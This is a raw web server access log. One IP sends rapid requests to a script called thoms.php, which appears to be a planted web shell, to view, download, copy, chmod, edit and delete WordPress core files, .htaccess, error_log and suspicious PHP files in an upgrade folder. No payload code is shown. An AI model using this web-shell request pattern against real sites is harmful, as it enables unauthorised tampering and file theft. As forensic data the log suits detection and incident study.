45.135.193.11 - - [11/Sep/2026:23:46:58 -0400] "GET /thoms.php?del=kses.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=kses.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:58 -0400] "GET /booking-wise2.com.tw/wp-includes/Text/ HTTP/1.1" 200 873 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:58 -0400] "GET /thoms.php?chmod=script-modules.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11543 "http://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:59 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-network.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-list.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:59 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-user-meta-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:59 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-connector-registry.php HTTP/1.1" 200 15818 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-connector-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:59 -0400] "GET /booking-wise2.com.tw/wp-includes/block-bindings/ HTTP/1.1" 200 954 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11900 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:59 -0400] "GET /booking-wise2.com.tw/wp-includes/blocks/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:59 -0400] "GET /thoms.php?del=class-wp-http-curl.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59402 "http://163.245.207.76:443/thoms.php?del=class-wp-http-curl.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:59 -0400] "GET /thoms.php?del=nav-menu-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=nav-menu-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:00 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-avif-info.php HTTP/1.1" 200 19706 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-avif-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:59 -0400] "GET /thoms.php?del=Requests&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=Requests&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:46:59 -0400] "GET /thoms.php?del=SimplePie&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=SimplePie&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:00 -0400] "GET /booking-wise2.com.tw/wp-includes/embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-taxonomy.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:00 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-http-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:00 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=block-template-utils.php HTTP/1.1" 200 29323 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:00 -0400] "GET /thoms.php?chmod=class-walker-page.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:00 -0400] "GET /thoms.php?del=http.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=http.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:00 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-default-filters.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fms-default-filters.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:00 -0400] "GET /thoms.php?del=compat-utf8.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59404 "http://163.245.207.76:443/thoms.php?del=compat-utf8.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:01 -0400] "GET /thoms.php?chmod=script-loader.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=script-loader.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftemplate.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ftemplate.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:00 -0400] "GET /thoms.php?dl=error-protection.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=error-protection.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ai-client.php HTTP/1.1" 200 12849 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ai-client.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:01 -0400] "GET /thoms.php?chmod=class-wp-meta-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:01 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-scripts.php HTTP/1.1" 200 22300 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:01 -0400] "GET /thoms.php?chmod=comment.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpost.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fpost.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:01 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-ajax-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:01 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11888 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-application-passwords.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:01 -0400] "GET /thoms.php?del=cron.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=cron.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:01 -0400] "GET /thoms.php?del=images&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=images&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:02 -0400] "GET /thoms.php?chmod=style-engine&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=style-engine&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:02 -0400] "GET /thoms.php?dl=link-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=link-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:02 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-block-supports.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:02 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-list.php HTTP/1.1" 200 13233 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-block-list.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:02 -0400] "GET /thoms.php?chmod=class-wp-editor.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:02 -0400] "GET /thoms.php?chmod=theme-previews.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=theme-previews.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:02 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:02 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11907 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:02 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-theme-json-schema.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:02 -0400] "GET /thoms.php?dl=class-wp-feed-cache.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fstyle-engine HTTP/1.1" 200 13455 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fstyle-engine" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:02 -0400] "GET /thoms.php?del=class-wp-icons-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59401 "http://163.245.207.76:443/thoms.php?del=class-wp-icons-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:02 -0400] "GET /thoms.php?dl=class-wp-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59378 "http://163.245.207.76:443/thoms.php?dl=class-wp-session-tokens.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:03 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-block-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:03 -0400] "GET /thoms.php?edit=wp-trackback.php&p=booking-wise2.com.tw HTTP/1.1" 200 13864 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:03 -0400] "GET /thoms.php?edit=wp-trackback.php&env=ace&p=booking-wise2.com.tw HTTP/1.1" 200 17441 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:03 -0400] "GET /booking-wise2.com.tw/upgrade/txets.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:03 -0400] "GET /thoms.php?del=.htaccess&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13792 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:03 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=error_log HTTP/1.1" 200 12070 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fupgrade&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:03 -0400] "GET /thoms.php?chmod=txets.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=txets.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:03 -0400] "GET /booking-wise2.com.tw/upgrade/index.php HTTP/1.1" 200 6593 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?del=termps.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13764 "http://163.245.207.76:443/thoms.php?del=termps.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?dl=admin.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13790 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2Ftermps.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2Ftermps.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /booking-wise2.com.tw/upgrade HTTP/1.1" 301 795 "http://163.245.207.76:443/booking-wise2.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /booking-wise2.com.tw/upgrade/ HTTP/1.1" 200 6581 "https://163.245.207.76:443/booking-wise2.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?chmod=admin.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?chmod=error_log&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?del=error_log&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13777 "http://163.245.207.76:443/thoms.php?del=error_log&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?chmod=termps.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=termps.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade&upload= HTTP/1.1" 200 12180 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fupgrade&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2Ftxets.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11369 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fupgrade%2Ftxets.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?del=txets.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13774 "http://163.245.207.76:443/thoms.php?del=txets.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:04 -0400] "GET /thoms.php?chmod=.htaccess&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
